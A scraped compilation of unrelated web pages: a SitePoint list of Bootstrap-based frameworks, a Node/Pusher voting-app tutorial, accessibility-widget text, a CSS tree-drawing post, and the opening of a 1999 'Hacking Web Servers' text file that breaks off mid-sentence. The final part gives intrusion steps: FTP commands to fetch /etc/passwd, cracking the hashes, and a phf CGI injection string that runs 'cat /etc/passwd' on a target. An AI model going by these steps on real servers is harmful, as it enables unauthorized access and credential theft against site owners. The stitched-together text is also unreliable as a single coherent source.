This is where front-end development frameworks come into play. Responsive web design is not so hard to implement but it can be a little bit tricky to make it all work on all targeted devices. Frameworks make this job easier. They allow you to create responsive, standard-compliant websites with minimum effort while at the same time keeping everything simple and consistent. Frameworks give you a lot of benefits such as speed and simplicity, consistency across different devices, and much  more. One of the most important advantages is that they are so easy to use that even a person with minimal knowledge can utilize them without any problem.

In brief, if you are serious in today’s web development then using frameworks is a must and not an option. Nowadays your site must be extremely flexible in order to satisfy different browsers, tablets, smartphones and a whole bunch of other handheld devices.

A front-end web development framework is simply a collection of production ready HTML/CSS/JavaScript components that we can use in our designs. There are many frameworks out there but some of them stand out from the crowd. For your facilitation below you will find outlined some of the most powerful and popular frameworks available today. Bear in mind that these are not just CSS grids or so, but instead full-featured front-end development frameworks.

1. Bootstrap

Bootstrap is definitely the most popular and widely used framework, nowadays. It’s a beautiful, intuitive and powerful web design kit for creating cross browser, consistent and good looking interfaces. It offers many of the popular UI components with a plain-yet-elegant style, a grid system and JavaScript plugins for common scenarios.

It is built with LESS and consists of four main parts:

  • Scaffolding – global styles, responsive 12-column grids and layouts. Bear in mind that Bootstrap doesn’t include responsive features by default. If your design needs to be responsive you have to enable this functionality manually.
  • Base CSS – this includes fundamental HTML elements like tables, forms, buttons, and images, styled and enhanced with extensible classes.
  • Components – collection of reusable components like dropdowns, button groups, navigation controls (tabs, pills, lists, breadcrumbs, pagination), thumbnails, progress bars, media objects, and more.
  • JavaScript – jQuery plugins which bring the above components to life, plus transitions, modals, tool tips, popovers, scrollspy (for automatically updating nav targets based on scroll position), carousel, typeahead (a fast and fully-featured autocomplete library), affix navigation, and more.

Bootstrap is already powerful enough to empower any web interface. But in order to make more use of it and making the development process easier, you can find plenty of tools and resources that complement it. Some of them are listed below:

  • jQuery UI Bootstrap – an awesome resource for jQuery and Bootstrap fans that combines the power of both. It brings nicely the slickness of Bootstrap to jQuery UI widgets.
  • jQuery Mobile Bootstrap Theme – similar to the jQuery UI theme above, this is a theme built for jQuery Mobile. It is a handy resource if you have a web front-end built with Bootstrap and want to offer a similar look for mobile.
  • Fuel UX – this extends Bootstrap with additional lightweight JavaScript controls. It’s easy to install, customize, update, and optimize.
  • StyleBootstrap.info – Bootstrap has its own customizer but StyleBootstrap is a more detailed one with color pickers and the ability to style each component differently
  • BootSwatchr – a Bootstrap theme roller that shows the immediate results of your changes. For every generated style, the application generates a unique URL in case you want to share it with others or return and edit anytime later.
  • Bootswatch – a nice set of free themes for Bootstrap.
  • Bootsnipp – a good collection of design elements and HTML snippets for Bootstrap. It offers also form and button builders.
  • LayoutIt – drag and drop interface builder based on the elements and components of Bootstrap. It helps you to compose your design visually by placing and arranging different elements into your layout via drag and drop and then allows you to edit their properties. You get the base code and then expand it. Simple and easy.

2. Fbootstrapp

Fbootstrapp is based on Bootstrap and gives you the same functionality for Facebook iframe apps and designs. It includes base CSS and HTML for all standard components like typography, forms, buttons, tables, grids, navigation, and more, styled in the typical Facebook look and feel.

3. BootMetro

BootMetro is a framework inspired by the Metro UI CSS, which is built on top of Bootstrap, for creating Metro/Windows 8-styled websites. It includes all Bootstrap’s features plus some additional extras like tiled pages, an application bar, and more.

4. Kickstrap

Simply put, Kickstrap is a kind of Bootstrap on steroids. It uses Bootstrap as its base and extends it with many apps, themes and extras. This makes the framework a complete kit for building websites without the need to install anything. Just put it in your site and you are ready to go.

Apps are just bundles of JavaScript and CSS files that run together as a package after your page has finished loading. Some of the apps included by default are Knockout.js, Retina.js, Firebug Lite, and Updater. And you can add many more.

Themes give you the ability to differentiate from most Bootstrap websites’ standard look and feel.

Extras are fan-created additions to extend Bootstrap UI library. They usually use the same or similar syntax.

And Next Time…

Here we conclude our journey in the land of Bootstrap related frameworks. Stay tuned for the next part where more frameworks are waiting for you.

Comments on this article are closed. Have a question about CSS frameworks? Why not ask it on our forums?

Ready to start building websites with Bootstrap? Learnable has you covered — start your free trial today.

Meet the author

Ivaylo Gerchev

Ivaylo Gerchev is a self-taught web developer/designer. He loves to play with HTML, CSS, jQuery, PHP, and WordPress, as well as Photoshop and Illustrator. Ivaylo's motto is "Minimum effort for maximum effect!"

  1. javascript
  2. September 04, 2019
  3. By Praveen Kumar

Build a Real-time Voting App with Pusher, Node and Bootstrap

In this article, I’ll walk you through building a full-stack, real-time Harry Potter house voting web application.

Real-time apps usually use WebSockets, a relatively new type of transfer protocol, as opposed to HTTP, which is a single-way communication that happens only when the user requests it. WebSockets allow for persistent communication between the server and the user, and all those users connected with the application, as long as the connection is kept open.

A real-time web application is one where information is transmitted (almost) instantaneously between users and the server (and, by extension, between users and other users). This is in contrast with traditional web apps where the client has to ask for information from the server. — Quora

Our Harry Potter voting web app will show options (all the four houses) and a chart on the right side that updates itself when a connected user votes.

To give you a brief idea of look and feel, the final application is going to look like this:

Here’s a small preview of how the real-time application works:

To make our application real-time, we’re going to use Pusher and WebSockets. Pusher sits as a real-time layer between your servers and your clients. It maintains persistent connections to the clients — over a WebSocket if possible, and falling back to HTTP-based connectivity — so that, as soon as your servers have new data to push to the clients, they can do so instantly via Pusher.

Building our Application

Let’s create our fresh application using the command npm init. You’ll be interactively asked a few questions on the details of your application. Here’s what I had:

[email protected] ➜ Harry-Potter-Pusher $ npm init
{
  "name": "harry-potter-pusher",
  "version": "1.0.0",
  "description": "A real-time voting application using Harry Potter's house selection for my article for Pusher.",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/praveenscience/Harry-Potter-Pusher.git"
  },
  "keywords": [
    "Harry_Potter",
    "Pusher",
    "Voting",
    "Real_Time",
    "Web_Application"
  ],
  "author": "Praveen Kumar Purushothaman",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/praveenscience/Harry-Potter-Pusher/issues"
  },
  "homepage": "https://github.com/praveenscience/Harry-Potter-Pusher#readme"
}

Is this OK? (yes)

So, I left most settings with default values. Now it’s time to install dependencies.

Installing Dependencies

We need Express, body-parser, Cross Origin Resource Sharing (CORS), Mongoose and Pusher installed as dependencies. To install everything in a single command, use the following. You can also have a glance of what this command outputs.

[email protected] ➜ Harry-Potter-Pusher $ npm i express body-parser cors pusher mongoose
npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN [email protected] requires a peer of ajv@^6.0.0 but none is installed. You must install peer dependencies yourself.

+ [email protected]
+ [email protected]
+ [email protected]
+ [email protected]
+ [email protected]
added 264 packages in 40.000s

Requiring Our Modules

Since this is an Express application, we need to include express() as the first thing. While doing it, we also need some accompanying modules. So, initially, let’s start with this:

const express = require("express");
const path = require("path");
const bodyParser = require("body-parser");
const cors = require("cors");

Creating the Express App

Let’s start with building our Express application now. To start with, we need to get the returned object of the express() function assigned to a new variable app:

const app = express();

Serving Static Assets

Adding the above line after the initial set of includes will initialize our app as an Express application. The next thing we need to do is to set up the static resources. Let’s create a new directory in our current project called public and let’s use Express’s static middleware to serve the static files. Inside the directory, let’s create a simple index.html file that says “Hello, World”:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width" />
    <title>Hello, World</title>
  </head>
  <body>
    Hello, World!
  </body>
</html>

To serve the static files, we have a built-in .use() function with express.static() in Express. The syntax is as follows:

app.use( express.static( path.join(__dirname, "public") ) );

We also need to use the body parser middleware for getting the HTTP POST content as JSON to access within the req.body. We’ll also use urlencoded to get the middleware that only parses urlencoded bodies and only looks at requests where the Content-Type header matches the type option. This parser accepts only UTF-8 encoding of the body and supports automatic inflation of gzip and deflate encodings:

app.use( bodyParser.json() );
app.use( bodyParser.urlencoded( { extended: false } ) );

To allow cross-domain requests, we need to enable CORS. Let’s enable the CORS module by using the following code:

app.use( cors() );

Now all the initial configuration has been set. All we need to do now is to set a port and listen to the incoming connections on the specific port:

const port = 3000;
app.listen(port, () => {
  console.log(`Server started on port ${port}.`);
});

Make sure your final app.js looks like this:

const express = require("express");
const path = require("path");
const bodyParser = require("body-parser");
const cors = require("cors");

// Create an App.
const app = express();

// Serve the static files from public.
app.use( express.static( path.join(__dirname, "public") ) );

// Include the body-parser middleware.
app.use( bodyParser.json() );
app.use( bodyParser.urlencoded( { extended: false } ) );

// Enable CORS.
app.use( cors() );

// Set the port.
const port = 3000;
// Listen to incoming connections.
app.listen(port, () => {
  console.log(`Server started on port ${port}.`);
});

Run the command to start the server:

$ npm run dev

Open your http://localhost:3000/ on a new tab and see the magic. You should be seeing a new page with “Hello, World”.

Building the App’s Back End

First thing, let’s create a directory called routes and create a file in there, say vote.js. We need to connect this file with our app.js file, so let’s go back to it and include it under our express() initialization:

const app = express();

// Vote route.
const vote = require("./routes/vote")

Since the routes directory is in the same directory as the app.js, we’ll start with ./. To be able to use this one with the router, let’s go to the bottom and add the router middleware code shown below before the port definition:

app.use("/vote", vote);

Anything that goes through the /vote URL is going to be handled by the vote.js file, provided by the vote variable.

Handling GET and POST Requests

Using Express’s Router instance, we can handle the GET and POST methods through our /vote path. Let’s create a default GET route now and send a default text say, "You are in /vote".

const express = require("express");
const router = express.Router();

// Default get route.
router.get("/", (req, res) => {
  res.send("You are in /vote");
});

The code above routes all the requests to the path /vote to our newly formed routes/vote.js.

Handling POST Requests

We also need a POST handler, where we can trigger the Pusher API. It’s going to be Router.post() for the POST requests to the / so that all the requests will go to /vote because of our middleware. We’ll be giving the same type of arrow functions here, and let’s give a message like "You have POSTed to /vote.":

// Default POST route.
router.post("/", (req, res) => {
  res.send("You have POSTed to /vote.");
});

The res.send() function will be replaced by Pusher API calls in the future.

Exporting the Router

Finally, we have to export the router as a module. Use the module.exports like this at the end. This should be the end of the file, although you can have it any where. Remember, JavaScript is event oriented and not procedural:

// Export the router.
module.exports = router;

At this point, when you see the full vote.js file, it should look something like this:

const express = require("express");
const router = express.Router();

// Default GET route.
router.get("/", (req, res) => {
  res.send("You are in /vote.");
});

// Default POST route.
router.post("/", (req, res) => {
  res.send("You have POSTed to /vote.");
});

// Export the router.
module.exports = router;

Make sure you save everything and now try to run both the URLs in our web browser.

You should see output in your web browsers.

Integrating with the Pusher API

Let’s start by modifying the code we wrote for the POST handler — the one we wrote in the vote.js file. Here’s what we actually want to trigger Pusher. Let’s quickly go to our Pusher Dashboard, and select your Pusher App (praveen-science-app, in my case) and click on the Getting Started tab. You’ll see the code to kickstart.

In our vote.js we need to define (or require) the Pusher library. Then we need to create a new instance (an object) of the Pusher class, and then finally trigger the pusher service inside the POST. I’m changing the vote.js file as shown below:

Note: make sure you change your appId, key, secret to the one given in the dashboard.

const express = require("express");
const router = express.Router();

// ///// Step 1: Include Pusher ///// //
const Pusher = require('pusher');

// ///// Step 2: Instantiate an Object ///// //
const pusher = new Pusher({
  appId: 'appId',
  key: 'key',
  secret: 'secret',
  cluster: 'eu',
  encrypted: true
});

// Default GET route.
router.get("/", (req, res) => {
  res.send("You are in /vote.");
});

// Default POST route.
router.post("/", (req, res) => {
  // ///// Step 3: Trigger the Pusher service ///// //
  pusher.trigger('my-channel', 'my-event', {
    "message": "hello world"
  });
});

// Export the router.
module.exports = router;

The moment a user submits the form, our application fires a POST request to this route, which is going to hit the Pusher API and trigger the Pusher service using the pusher.trigger() function call. Also, we don’t want to use the default values of my-channel and my-event, so let’s change them to hp-voting and hp-house. We also don’t need to send a message, but instead, we’d like to give points and the house information:

router.post("/", (req, res) => {
  pusher.trigger('hp-voting', 'hp-house', {
    "points": 1,
    "house": req.body.house
  });

});

For now, we’re going to assign a value of 1 to the points (I’ll explain why shortly), and we’re using req.body.house for the house, because the value is going to come from the form data, and that is provided using req.body as we’re using body-parser.

Finally, we’ll return a JSON to the browser as response using the res.json() function and pass an object with a boolean success and a message thanking the user for voting and that it has been received successfully:

router.post("/", (req, res) => {
  pusher.trigger('hp-voting', 'hp-house', {
    "points": 1,
    "house": req.body.house
  });

  return res.json({
    "success": true,
    "message": "Thanks for voting."
  });
});

Building the App’s Front End

I’ve used jQuery and Bootstrap to do the front end. Here’s the part where we allow the users to vote.

I’m also going to add a chart container that will chart real-time as the votes are received.

Integrating Everything

We already have the back end done. Now we’ll see how to send the request to the Pusher service when the vote button is clicked, thanks to the front-end JavaScript. We’ll trigger the submit event of the form when the user clicks the button, and it needs to make a POST request to our back end to the route /vote.

Event Listener, User Data and Ajax

Let’s add an event listener for our form submission, code for capturing the user data, and the Ajax call:

// Execute only after the whole document is fetched and assets are loaded.
$(document).ready(function () {
  // Form submission event listener (event handler)
  $("#voteForm").submit(function (e) {
      e.preventDefault();
      // Get the checked input element's value.
      var house = $(".form-check-input:checked").val();
      // Construct the data to be sent as a payload to the AJAX call.
      var data = {
          "house": house
      };
      $.post("/vote", data, function (res) {
          // Log the output in the console.
          console.log(res);
        });
    });
});

Working with Pusher and Charts

When the form is submitted, the Ajax call triggers the /vote endpoint, and the back-end Node app will also trigger the Pusher service using the code below in routes/vote.js:

pusher.trigger('hp-voting', 'hp-house', {
  "points": 1,
  "house": req.body.house
});

When the code above is hit (or run), Pusher service will trigger an event with hp-voting and hp-house. We’re not catching the event or subscribing it yet. So we’re going to implement CanvasJS to build our chart, and we’re going to subscribe to the above event and will be adding the data points by the trigger, specified by the form’s submit event listener.

Adding CanvasJS

Once you add all the bits correctly, your client-side script.js should be similar to this:

// Execute only after the whole document is fetched and assets are loaded.
$(document).ready(function () {
  // Form submission event listener (event handler)
  $("#voteForm").submit(function (e) {
    // Prevent the default event.
    e.preventDefault();
    // Get the checked input element's value.
    var house = $(".form-check-input:checked").val();
    // Construct the data to be sent as a payload to the Ajax call.
    var data = {
      "house": house
    };
    // Fire the POST request Ajax call to our /vote end point.
    $.post("/vote", data, function (res) {
      // Log the output in the console.
      console.log(res);
    });
  });
  // Create the base data points.
  var dataPoints = [
    {
      label: "Gryffindor",
      y: 0
    }, {
      label: "Hufflepuff",
      y: 0
    }, {
      label: "Ravenclaw",
      y: 0
    }, {
      label: "Slytherin",
      y: 0
    }
  ];
  // Initialize Chart using jQuery selector.
  // Get the chart container element.
  var chartContainer = $("#chartContainer");
  // Check if the element exists in the DOM.
  if (chartContainer.length === 1) {
    // Construct the options for the chart.
    var options = {
      "animationEnabled": true,
      "theme": "light1",
      "title": {
        "text": "Harry Potter House Results"
      },
      "data": [
        {
          "type": "column",
          "dataPoints": dataPoints
        }
      ]
    };
    // Initialize the chart.
    $("#chartContainer").CanvasJSChart(options);
  }
});

Now save the file, and when you reload the page, you should be able to see a placeholder chart. It is definitely a real chart but without any values. You should be able to see something like this:

Now we have implemented our CanvasJS chart on the right side.

Initialization of Pusher on the Client Side

After the Pusher Logging, we have to initialize the Pusher object. Since we already have a client-side config.js, we’ll be leveraging that code in this part:

// Initialise a Pusher Object.
var pusher = new Pusher(PusherConfig.key, {
  cluster: PusherConfig.cluster,
  forceTLS: PusherConfigforceTLS.
});

After initialization of the Pusher object, we need to subscribe to our channel, where our messages get published by the server side. We’ll be copying the code from the Pusher Dashboard but changing a little bit to subscribe to our hp-voting channel and hp-house event. The default values of my-channel and my-event need to be updated like this in relation with our back-end code:

// Subscribe to the channel.
var channel = pusher.subscribe('hp-voting');
// Bind to a particular event and listen to the event data.
channel.bind('hp-house', function(data) {
  alert(JSON.stringify(data));
});

Instead of alert-ing a data message, we want to basically add the data to the chart. The way we can do that is by taking our dataPoints and manipulating the array with respect to the server’s response. With the already existing dataPoints variable (remember that we’ve used var instead of const as we should be able to change it at a later stage), we’ll be using a higher-order Array.map() function as follows:

// Bind to a particular event and listen to the event data.
channel.bind('hp-house', function(data) {
  // Use a higher order Array map.
  dataPoints = dataPoints.map(function (d) {
    // Check if the current label is the updated value.
    if (d.label == data.house) {
      // Increment the house's value by the number of new points.
      d.y += data.points;
    }
    // Return the original value as this is a map function.
    return d;
  });
});

We’re looping through all the dataPoints labels, and when a particular label matches the current label, we’ll be incrementing the value of the current label with the number of points updated. Since we’re using a JavaScript Array.map() function, we have to return the original value, d, back to the function call. Once we’ve updated the dataPoints, we have to re-render the chart.

After the map() function, we’ll do the following:

channel.bind('hp-house', function(data) {
  // Use a higher order Array map.
  dataPoints = dataPoints.map(function (d) {
    // Check if the current label is the updated value.
    if (d.label == data.house) {
      // Increment the house's value by the number of new points.
      d.y += data.points;
    }
    // Return the original value as this is a map function.
    return d;
  });

  // Re-render the chart.
  $("#chartContainer").CanvasJSChart(options);
});

Once you write all the above code, save and run the application in your browser, fire up your web developer tools and check out the console. You should see that Pusher Service is communicating with your application. I was able to see the following in my console (I’ve hidden my appId and secret, so other than those sensitive bits of information, everything else is shown):

Conclusion

At this point of time, when you try to open two windows of the same application and vote on one screen, you can see all the screens updating at the same time. This is basically how you use the Pusher service to create real-time applications.

Our Harry Potter voting web app now shows options (all the four houses) and a chart on the right side that updates itself when a connected user votes. The next obvious step would be to use a database, such as MongoDB, to store all the information to make sure it persists even when we reload the pages of the application.

Meet the author

Praveen Kumar

Praveen is a software and web developer, cloud computing consultant, full-stack developer, UX architect, a CEO, and even … a cook. You can find him at praveen.science.

Start a discussion

Older Posts

© 2000 – 2019 SitePoint Pty. Ltd.

Add Tags ?

AddDeleteNo

close

close

[

](#)[

English

](#)[

](#)[

](#)[

](#)

Accessibility Adjustments

  • Virtual Keyboard

  • Accessible Mode

  • Stop Animations

Content Adjustments

Font Adjustment

0

Readable Font

Emphasize Titles

Emphasize Links

Text Magnifier

Content Scaling

0

Align Center

Adjust Word Spacing

0

Align Left

Adjust Letter Spacing

0

Align Right

Adjust Line Height

0

Align Justify

Color & Display Adjustments

Invert Colors

High Contrast

High Saturation

Dark Contrast

Adjust Text Colors

Cancel

Monochrome

Adjust Title Colors

Cancel

Light Contrast

Adjust Background Colors

Cancel

Navigation Adjustments

Screen Readers Adjustments

Keyboard Navigation

Reading Mode

Hide Images

Mute Sounds

Useful Links

Select an option Home Page Header Footer Main Content

Letter Navigation

Emphasize Focus

Emphasize Mouse Hover

Big Black Cursor

Big White Cursor

Accessible Print

  • Feedback

  • Reset Settings

  • Statement

Accessibility Platform By accessiBe

Choose the Interface Language

  • English

  • Español

  • Deutsche

  • Português

  • Français

  • Italiano

  • עברית

  • русский

  • عربى

  • Nederlands

Provide Feedback Regarding the Accessibility Interface!

Full Name

Email Address

Telephone Number

Your Feedback

This is a feedback for people with disabilities to provide feedback on the accessibility level of the website. Any topic that is NOT about the website's accessibility, will not be processed. Accept it by checking the box.

Send Feedback Form

Malkodet

Thanks for your feedback!

Accessibility Statement

We firmly believe that the internet should be available and accessible to anyone, and are committed to providing a website that is accessible to the widest possible audience, regardless of circumstance and ability.

To fulfill this promise, we aim to adhere as closely as possible to the Web Content Accessibility Guidelines 2.1 (WCAG 2.1) at the AA level, published by the World Wide Web Consortium (W3C). These guidelines explain how to make web content more accessible to people with a wide array of disabilities. Complying with those guidelines helps us provide a site that is accessible to all people, from the blind to the motor impaired.

This website utilizes various technologies all meant to make it more accessible. We utilize an interface that allows persons with specific disabilities to adjust the website’s UI (user interface) and design it to their personal needs. This interface replaces the older fashioned method of providing all users with the same, lesser but accessible design or user interface.

Here are some of the interface’s capabilities:

  1. **Font handling -**users can increase and decrease its size, change its family (type), adjust spacing, alignment, line height, and more.
  2. **Color handling - **users can select various color contrast profiles such as light, dark, inverted and monochrome. Additionally, users can swap color schemes of titles, texts, and backgrounds, with over 7 different coloring options.
  3. **Animations – **epileptic users can stop all running animations in an instant, at the click of a button. Those animations include videos, GIFs and CSS flashing transitions.
  4. **Content highlighting – **users can choose to emphasize important elements such as links and titles. They can also choose to highlight focused or hovered elements specifically.
  5. **Audio muting – **users with hearing devices may experience headaches or other issues due to automatic audio playing. This option lets users mute the entire  website instantly.
  6. **Cognitive disorders – **we utilize a search engine that is linked to Wikipedia and Wiktionary, allowing people with cognitive disorders to decipher meanings of phrases, initials, slang, and others.
  7. Other options** –** we provide users the option to change cursor color and sizing, use a printing mode, enable a virtual keyboard and much more..

Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level every 24 hours. This AI engine remediates the website’s HTML issues, as well as functionality and behavior, to the use of blind people that are using screen readers, and the motor impaired that are using a keyboard to operate websites.

We utilize AI for the following accessibility components:

  1. Screen-reader optimization: The AI runs in the background and learns the website’s components top to bottom, thereby providing screen-readers with meaningful data using the ARIA set of attributes. For example, it will provide accurate form labels; descriptions for actionable icons (social media icons, search icons, cart icons, etc.); validation guidance for form inputs; element roles such as buttons, menus, modal dialogues (popups), and others.

    Additionally, the AI scans all of the website's images and provides an accurate and meaningful image-object-recognition-based description as an ALT (alternate text) tag. It will also extract texts that are embedded within the image, using an OCR (optical character recognition) technology. To turn on screen-reader adjustments at any time, click the Alt+1 keyboard combination. Screen-reader users also get automatic announcements to turn adjustments on as soon as they enter the website.

  2. Keyboard navigation optimization: The AI adjusts the website’s HTML, as well as adding various behaviors using JavaScript code to make the website fully operable by a keyboard. This includes the ability to navigate the entire site using the TAB and SHIFT+TAB keys, operate dropdowns with the arrow keys, close them with ESC, trigger buttons and links using the Enter key, navigate between radio and checkbox elements using the arrow keys, fill them in with the Spacebar or Enter key, and more.

    Additionally, keyboard users will find quick-navigation and content-skip menus (available at any time by clicking Alt+1). The AI will also handle triggered popups by moving the keyboard focus towards them as soon as they appear, and It’ll not let the focus drift outside of it, for best orientation.

Browser and Assistive Technology Compatibility:

We aim to support the widest array of browsers and assistive technologies as possible, so our users can choose the best fitting tools for them, with as few limitations as possible. Therefore, we have worked very hard to be able to support all the modern, major and popular systems that comprise over 95% of the users’ market share and include: Google Chrome, Mozilla Firefox, Apple Safari, Opera, Microsoft Edge and I.E 11 or above, JAWS and NVDA (screen readers), both for Windows and for MAC users. This website is operable using other systems and platforms as well, though we are not officially supporting them and recommend users to utilize the aforementioned.

Notes, Comments, and Feedback:

Despite our very best efforts to allow anybody to adjust the website to their needs, it is possible that there will still be pages or sections that are not fully accessible, are in the process of becoming accessible, or are lacking an adequate technological solution to make them accessible. Still, we are constantly improving the accessibility interface, adding, updating and improving its options and features, and developing and adopting new technologies. All this is meant to reach the optimal level of accessibility, at any time and in accordance with technological advancements.

If you’ve discovered a bug or malfunction, if you find any aspect of the interface difficult to use, or if you have improvement ideas, we’ll be happy to hear from you. Simply click on the “Feedback” button at the bottom of the interface, and fill out the feedback form. Alternatively, you can send an email to our web accessibility team using the following form If you wish to speak with the website owner directly, please contact our team and we’ll provide you with their contact information (we do not publish this information due to data collection and misuse conducted by spambots). 

accessiBe Interface User Guide

accessiBe interface options

The accessiBe interface let's you adjust various parameters of the website to your own needs. All of those, are in order for you to be able the use and view the website to your own optimal level. Amongst the options are changing font family and adjusting sizes, colors and spacing, emphasizing titles and links, adapting the website to screen reading software, keyboard navigation, activating a virtual keyboard and more.

How does it work and how to get started?

accessiBe works in two different methods. The first is manual, which means that you can manually adapt the display and usage of the website to your needs. The second is automatic. Clicking the Basic Accessibility button will automatically generate several processes behind the scenes, that will ease the use of the entire website without you having to adapt anything manually.

I found a bug or malfunction, how can I report it?

In order to leave Feedback or ask for help, simply click the Feedback button at the bottom of the interface. After clicking it, you'll see a popup with a feedback form that will reach the website's owner directly.

How can I adjust the contents of the website?

accessiBe's text adjustment options are the first group of options of the interface. Amongst the options you'll be able to find: Increase or Decrease of the font size, readable font, emphasize titles, emphasize links, text magnifier, letter spacing, word spacing, line height, text alignment to the left, center or the right, and more. Please note that you may not be able to see all the options right there. If you don't, click the 'Show More Text Adjustments' this button will display the entire options.

How can I adjust the display and colors of the website?

accessiBe's color and display options are the second group of options of the interface. Amongst the options you'll be able to find: dark contrast, light contrast, monochrome, show image descriptions, adaptation to screen reading software, stop animations, text color adjustment, title color adjustment, background color adjustment and more. Please note that you may not be able to see all the options right there. If you don't, click the 'Show More Color & Display Adjustments' this button will display the entire options.

How can I adjust the navigational aspects of the website?

accessiBe's Navigational options are the second group of options of the interface. Amongst the options you'll be able to find: emphasize focus, emphasize hover, big white cursor, big black cursor, zoom in and zoom out of the entire website window and more. Please note that you may not be able to see all the options right there. If you don't, click the 'Show More Navigation Adjustments' this button will display the entire options.

How does the keyboard navigation work?

In order to use the keyboard to navigate the website, click the 'Keyboard Navigation' button at the top of the interface. After clicking it, a confirmation window will appear, indicating this feature has been turned on. Afterwards, you'll be able to use the TAB key to navigate between clickable items, SHIFT + TAB to go back, and click ENTER to activate a focused item.

How does the virtual keyboard work?

In order to activate the Virtual Keyboard feature, click the 'Virtual Keyboard' button at the top of the interface. After activating it, the next time you'll hit a form element to enter details, a virtual keyboard will pop on the screen, allowing you the use it instead of a physical keyboard.

How can I skip to main contents?

In order to skip directly to the main content of the website, simply click the 'Skip to Main' button near accessiBe's search feature. Clicking it will scroll you down or up the page directly to the main content of the page.

What is the Basic Accessibility button and what does it do?

The 'Basic Accessibility' button automatically activates a series of events and functions behind the scenes. Those include adapting the website to screen reading software, building image descriptions from context, adapting the website to keyboard navigation, handling non-accessible form elements, and more.

Other interface options

The Accessibility Interface allows you to search for keywords and contents on the page. Entering input to the search field will automatically highlight found matching words, and scroll you down the page directly to them. In addition, at the top of the interface, you'll be able to change the position of the interface (from left to right and the opposite), and to change the size of it (big or small). Clicking the 'eye' icon will allow you to completely hide the accessibility interface.

Hide Accessibility Interface? Please note: If you choose to hide the accessibility interface, you won't be able to see it anymore, unless you clear your browsing history and data. Are you sure that you wish to hide the interface?

Accept Cancel

Continue

Processing the data, please give it a few seconds...

We have noticed that you didn't turn accessibility on. To turn on screen reader adjustments, click Alt+1.

10 Seconds until closing

Playing to screen readers

Draw a Tree Structure With Only CSS

Draw a Tree Structure With Only CSS set Restriction



Two Wrongs

Draw a Tree Structure With Only CSS

Draw a Tree Structure With Only CSS

by

kqr

, published 2014-11-06

Tags:

Sometimes you have data in a tree structure. Common candidates are hierarchies in a company, module architecture in a system or files on disk. It would be really nice to be able to generate an HTML page with this data neatly rendered so as to actually look like a tree structure. In other words, we'll be shooting for something like this*:

That's actually drawn with only CSS, using the pseudo-elements ::before and ::after. We start with a simple HTML list.

<div class="clt">
  <ul>
    <li>
      Fruit
      <ul>
        <li>
          Red
          <ul>
            <li>Cherry</li>
            <li>Strawberry</li>
          </ul>
        </li>
        <li>
          Yellow
          <ul>
            <li>Banana</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      Meat
      <ul>
        <li>Beef</li>
        <li>Pork</li>
      </ul>
    </li>
  </ul>
 </div>

With this out of the way, let's get into the CSS. First we need to set up the list and container so it doesn't interfere with our tree drawing.

.clt, .clt ul, .clt li {
     position: relative;
}

.clt ul {
    list-style: none;
    padding-left: 32px;
}

Then we take our pseudo-elements, make sure they are empty and move them to the left of the list elements.

.clt li::before, .clt li::after {
    content: "";
    position: absolute;
    left: -12px;
}

The ::before pseudo-element is used to draw the horizontal lines.

.clt li::before {
    border-top: 1px solid #000;
    top: 9px;
    width: 8px;
    height: 0;
}

...and the vertical lines use the ::after pseudo-element.

.clt li::after {
    border-left: 1px solid #000;
    height: 100%;
    width: 0px;
    top: 2px;
}

The icing on the cake is that the last item on every level has just a very short line leading to it, and nothing further. This makes it look very nice.

.clt ul > li:last-child::after {
    height: 8px;
}

And that's it! I think it's fascinating something like that is possible.


  1. * If the tree I used as an example in this post looks familiar, it's because it's been used by someone else to illustrate efficient storage of trees in relational databases. I stole it from there.

  2. If this doesn't highlight one of the problems with the HTML format, I don't know what does.

Feel free to show your support by buying me a coffee, iff you want to.
Or send me an email. Emails show nearly as much support as coffee.

Shoutout to my amazing wife without whose support I would never make it past the first sentence. ♥

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/ctn-hw.txt

*/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/*
* ¸;;;;¸ ¸¸¸;;´´ ¸;´ *
* ;;; ´´;¸ ¸¸¸¸;´´´ ¸;´ *
* ;;´ ;; ¸¸¸;´´´;; ;;´ *
* ;;; ;;; ;;;;´ ;; ;; ;;´ *
* ;;´ ;;; ;; ;; ¸;; ;;´ *
* ;; ;; ;; ;; ;;;; ;;; *
* ;; ´´ ;; ;; ¸;´;; ;;; *
* ;;; ;; ¸;´ ´;¸;;´ *
* ;;; ;; ¸;´ ;;;; *
* ;;; ¸;;¸ ;;; ¸;´ ;;;; *
* ;;; ¸¸;;;;; ;;; ¸;;´ ;;; *
* ;;´ ¸;;´ ;; ;;; ;;;;´ ;;´ *
* ;; ¸;;; ;; ;; ´;;; ;; *
* ;; ¸;;´ ;; ;; ´´ *
* ;;;;´ ;; ;; *
* ´´´ ´´ ´´ *
* The Cybernetic Techno Ninjas *
* Hacking Web Servers *
///////////////////////
This file Has Been Written
By: GBoZ
Of The Cybernetic Techno Ninjas
Tuesday 2/16/99

		The Offical Guide
                           To
                    Hacking Web Servers

1. Getting information

Before you Hack a webpage you should get the propper information
here's how you get it go to this webpage
Http://www.Internic.com
tell them that you want to create a wbepage ( don't worry you won't
be billed ok) put in the name of the webpage that you want to hack
where it says put your webpage you want to make. It will then say
something like sorry someone is useing this domain and give info about
them. Thier name thier address and thier e-mail address.. Now you know
who your dealing with.

2. Methods of Hacking.. This is going to be a long stip of paragraphs
choc full of methods of hacking so have fun.

1A. Hacking the FTP Method
If you have Windows 95 go into Dos prompt
( Do this once you have connected to your ISP )
After that type in
Open Blah.com
(Blah.com = put the place you wanna hack)
it will ask for a username press enter server will ask for password press enter at the prompt type "quote user ftp" then hit enter
type "quote cwd ~root" then hit enter type "quote pass ftp"
now once your in the system type "cd etc" hit enter then type
"get passwd" and if that don't work type "get passwd."

2B.Getting a passwd file is pretty easy.Simply telnet into the servers FTP anonymously and look in the etc directory and get the file called Passwd then use Cracker Jack and decode the Pw.
Another way to get them is to find your target and in a WWW browser type cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd after the servers name. For example the name may be
